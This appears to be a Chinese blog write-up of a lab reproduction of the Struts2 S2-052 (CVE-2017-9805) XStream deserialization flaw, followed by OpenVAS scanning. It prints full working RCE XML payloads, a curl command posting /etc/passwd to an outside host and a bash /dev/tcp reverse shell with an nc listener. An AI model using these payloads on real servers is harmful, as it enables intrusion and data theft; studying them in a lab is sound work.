Struts2-052漏洞学习及反弹shell试验


Struts2-052漏洞学习


了解漏洞

Struts是什么?

Struts是一个特别常用的开源web框架,用于扩展JAVA Servlet API并使用了模型(M),视图(V),控制(C)体系结构。使用这个框架,我们可以用各种标准技术(如 JSP、JavaBeans、XML等)创建可维护、可扩展并且灵活的 Web 应用程序。可以说用struts来开发java web应用程序是很简单,但是效率又很高。
之后,Struts的Java EE Web框架的团体,决定合作共同开发一个新的,整合了WebWork与Struts优点,并且更加优雅、扩展性更强的框架,命名为“Struts 2”,原Struts的1.x版本产品称为“Struts 1”。Struts项目并行提供与维护两个主要版本的框架产品——Struts 1与Struts 2。所以struts项目的两个产品就是 struts1和struts 2。
维基百科:“它通过采用Java Servlet/JSP技术,实现了基于Java EE Web应用的Model-View-Controller(MVC)设计模式的应用框架,是MVC经典设计模式中的一个经典产品。”
使用 Struts 时,此框架将为您提供一个控制器 Servlet (ActionServlet),它在 IDE 中包含的 Struts 库中定义,并自动在 web.xml 部署描述符中注册,就下面这个:


1.png

该控制器 Servlet 使用 struts-config.xml 文件将传入请求映射到 Struts Action 对象,并实例化与暂时存储窗体数据的操作相关联的任何 ActionForm 对象。Action 对象在使用窗体 Bean 中存储的任何数据的同时,使用其 execute 方法处理请求。一旦 Action 对象处理了请求,它就将存储任何新数据(即,存储在窗体 Bean 或单独的结果 Bean 中),并将结果转发到相应的视图中。

Struts2-052是什么漏洞?

s2-052漏洞是当用户使用带有XStream组件的Struts-REST插件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,可直接在数据包中插入恶意代码。导致攻击者可以构造恶意xml payload导致RCE(远程代码执行)。
相对于之前struts2爆出来的漏洞来说,s_052漏洞危害稍微小一些,因为利用环境比较苛刻,需要使用Struts2 REST插件的XStream组件。

·   漏洞描述:Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。
·   漏洞编号:CVE-2017-9805
·   漏洞作者:lgtm.com的安全研究员
·   影响版本:Version 2.5.0 to 2.5.12 和 Version 2.3.0 to 2.3.33
·   漏洞等级:高危

分析漏洞原理

struct2-052漏洞产生的原因是什么?

这个漏洞触发点是REST插件在解析请求中的xml文件时,调用了XStreamHandler,传入的数据会被默认进行反序列化,进行反序列化操作时,未对数据内容进行有效验证,可直接在数据包中插入恶意代码,如果当传入的xml是个经过XStream序列化的恶意对象时,便造成反序列化漏洞。
其实简单来说原因有两个:一个是 Struts2 REST插件(struts2-rest-plugin-2.x.jar)本身没有对进入的数据进行安全检查,导致攻击者可以传入恶意的xml对象可以传入到XStream里。另一个是XStream在反序列化传入的xml造成的远程代码执行。

一个系统存在这个漏洞会导致什么后果?

当使用带有XStream处理程序的Struts REST插件来处理XML有效负载时,可能会发生远程执行代码攻击。这会使攻击者可以通过任意恶意代码来接管服务器,获取服务器的权限。比如说执行一些eyi代,把木马文件写入服务器的主目录!写入主目录,这很可怕,写入小马之后获取权限。最后导致服务器被攻击者控制,造成信息泄露等,甚至攻击者利用服务器进行其他非法操作,利用该服务器攻击等。

漏洞的重现和利用

下载java并配置环境

这个应该很多朋友都做过,所以我也很早都已经配置好了,所以展示一下代码和配置环境变量的操作:

$ yum install java*jdk*devel*   //使用模糊匹配,搜索然后下载指定版本的
$ //下载搜索到的最新的
$ //这样的话就不用进行环境变量配置了

还可以直接去sun网站上下载java然后手动安装,但需要修改环境变量。在/etc/profile.d/文件夹下添加一个java.sh文件,或者修改/etc/profile文件,两种方式都在文件中添加入java的classpath和path,然后输入命令:source /etc/profile,即可使配置生效。

下载tomcat并配置

执行命令:

$ sudo dnf install tomcat
$ systemctl start tomcat

然后需要在 /usr/share/tomcat/webapps目录下创建一个目录为ROOT(必须大写),然后访问127.0.0.1:8080便可以访问,但是因为里面是空的所以显示404,但是可以看到tomcat服务器信息:

2.png

最好是去官网下载对应的版本的tomcat的提示成功页面,网上下载后把下载的包里的webapps文件夹导入到虚拟机中的webapps目录就行。如果像我这样虽然tomcat成功配置了但是很可能导致后面openvas无法扫描到漏洞。官网下载对应版本的地址:http://tomcat.apache.org/,网站左边可以选择对应版本下载
配置文件在 /etc/tomcat/tomcat.conf

下载存在漏洞的struct2框架版本

去官网下载该漏洞影响的最后一个版本的struts2框架,struts-2.5.12,然后解压后将apps目录下的struts2-rest-showcase.war和struts2-showcase.war文件放到webapps目录下(/Library/Tomcat/webapps)重启tomcat后访问:
http://127.0.0.1:8080/struts2-rest-showcase/

222.png

可以看到已经搭建成功了。但是我进行操作时比如点击用户后的view进行操作时跳转404,经过测试只有切换成root用户之间登录fedora后才能进行操作。

生成攻击payload

在操作页面编辑后点击submit,然后使用firefox编辑重发:


3.png

将消息头中更改:
执行命令:

$ Content-Type: application/xml

更改request body为:

<map> 
<entry> 
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>/usr/bin/touch</string><string>/tmp/test</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
</entry> 
</map>

Body内容中的意思是在在tmp文件夹下面生成一个test文件。编辑重发后到指定目录检查:


4.png

成功生成了test文件;说明远程代码执行成功。验证了可以远程执行代码(RCE)攻击。

使用burpsuite进行截包重发,查看结果

首先下载安装bp:

$ wget http://labfile.oss.aliyuncs.com/courses/726/burpsuite_free.jar

打开:

$ /usr/bin/java -Xmx2g  -jar  burpsuite_free.jar

设置firefox代理127.0.0.1:8080
注意firefox设置代理时要把下面的localhost和127.0.01关掉。
bp监听127.0.0.0:8080,如果点不了就是端口冲突,被占用了,换端口就行


5.png

然后进行抓包重发:
更改headers中更改Content-Type: application/xml
并将body中的更改为payload:


6.png

我重新发送的远程执行代码是要在/tmp下新建一个vuln文件。
Payload:
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>/usr/bin/touch</string><string>/tmp/vuln</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>

执行后去指定文件夹查看:


7.png

可以看到payload执行成功。

Payload的大概规则

在网上寻找了如何写payload的大概规则:

<command>
<string>touch /tmp/test.txt</string>
</command>

比如上面这样的是不会执行的,如果远程执行的命令有空格则需要用string进行转换

<command>
<string>echo</string>
<string>abc</string>
<string>></string>
<string>/tmp/abc</string>
</command>

这样也是不行的,应该是不支持重定向符号>,管道符 | 应该也不支持。
下面看看一些成功的例子:

<command>
<string>cp</string>
<string>/etc/passwd</string>
<string>/tmp/passwd</string>
</command>

或者

<command>
<string>curl</string>
<string>-F</string>
<string>value=@/etc/passwd</string>
<string> http://x.x.x.x/ </string>
</command>

curl命令执行可以成功,注意第三行<sting>的值不能有双引号,否则失败。
读取文件:

<command>
<string>curl</string>
<string>-F</string>
<string>value=@/etc/passwd</string>
<string> http://x.x.x.x/ </string>
</command>

通过在服务端http://x.x.x.x/抓包,发现/etc/passwd被post了过来。

尝试反弹shell

首先尝试bash –c这个命令:

<command>
<string>bash</string>
<string>-c</string>
<string>touch /tmp/abc.txt</string>
</command>

利用firefox抓包重发后,返回500:


8.png

我们进入指定文件夹看看有没有写入成功:


9.png

成功写入,说明了bush 命令可以执行。
使用重定向符号>创建任意文件
<command>
<string>bash</string>
<string>-c</string>
<string>echo abcd >/tmp/abcd.txt</string>
</command>

进入查看:


10.png

成功!
可以把ip addr的命令执行结果输出到/tmp/ip.txt

<command>
<string>bash</string>
<string>-c</string>
<string>ip addr >/tmp/ip.txt</string>
</command>

查看:


11.png

成功,查看一下写入情况:


12_LI.jpg

全部导出了得到了!
下面开始尝试反弹shell,利用下面的命令:(&要转换成&amp):
<command>
<string>bash</string>
<string>-c</string>
<string>bash -i >&amp; /dev/tcp/192.168.72.141/22222 0>&amp;1</string>
</command>

在firefox编辑重发之前先要监听一个端口:

$ nc –lvvp 22222   //port

Firefox编辑重发后,上面填的是攻击方的ip和端口号就可以连接啦!:


13.png

成功反弹shell!

试分析如果公司服务器存在这种漏洞,会对公司有什么影响?

我们尝试了可以远程执行命令成功,结合我们上个实验,如果我们写入一个木马到目标用户的指定路径下,则可进行进一步的攻击操作。比如写入反弹shell等等。攻击者可以进行各种操作从而获取服务器的给权限,并生成后门。便可进行一些非法操作,给公司造成包括信息泄露在内的巨大损失。

使用openvas对该存在的漏洞系统进行扫描

查看扫描结果,是否能得到对该漏洞的报告?

14.png

15.png

我们分别点开进入扫到了两个tomcat分析看到应该是第二个是对应的struts2-052漏洞,会导致远程代码执行漏洞:


16.png

在博主之前的博客说过如何查找nvt对应的文件,所以这里就不说了。
18.png

源码分析:
首先源码的前一段是输出了漏洞的信息,然后


19.png

这边是提供下面所要调用的函数。
20.png

这里是定义一些参数获取端口号已经利用函数get_kb_list对传参进行测试。然后根据然后判断存不存在漏洞。
21.png

对端口进行尝试连接,连不上则退出。
22.png

接着进行系统测试。判断是什么系统。然后获取host的名字。
下面定义了一个参数data,就是我们使用的payload。就是需要改包在body里面的东西。


23.png

截止对调用url利用struts2的指定目录进行测试,发送请求,接受请求,然后对返回的请求进行检测。
25.png

对返回进行检测。如果不存在漏洞则退出。If中一个条件是收到返回,另一个条件是windows或者linux主机判断成功。

一些问题

这次遇到的最主要的问题就是在扫描是发现扫不出tomcat的远程执行漏洞。主要是两个问题。一个是我没有将struts2-showcase导入的tomcat的指定目录下,因为struts2-rest-showcase是用于我们测试,而nasl脚本测试的则是struts2-showcase。另一个则是没有下载官网提供的对应版本的webapps的文件。解决这两个问题之后就成功扫出来了。
在反射shell时要注意一点要在攻击机上先监听端口。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,290评论 4 363
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,399评论 1 294
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 109,021评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,034评论 0 207
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,412评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,651评论 1 219
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,902评论 2 313
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,605评论 0 199
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,339评论 1 246
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,586评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,076评论 1 261
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,400评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,060评论 3 236
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,083评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,851评论 0 195
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,685评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,595评论 2 270

推荐阅读更多精彩内容